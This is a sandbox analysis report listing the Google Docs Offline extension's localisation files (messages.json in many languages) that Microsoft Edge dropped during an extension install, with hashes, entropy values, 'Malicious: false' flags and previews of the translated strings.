SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
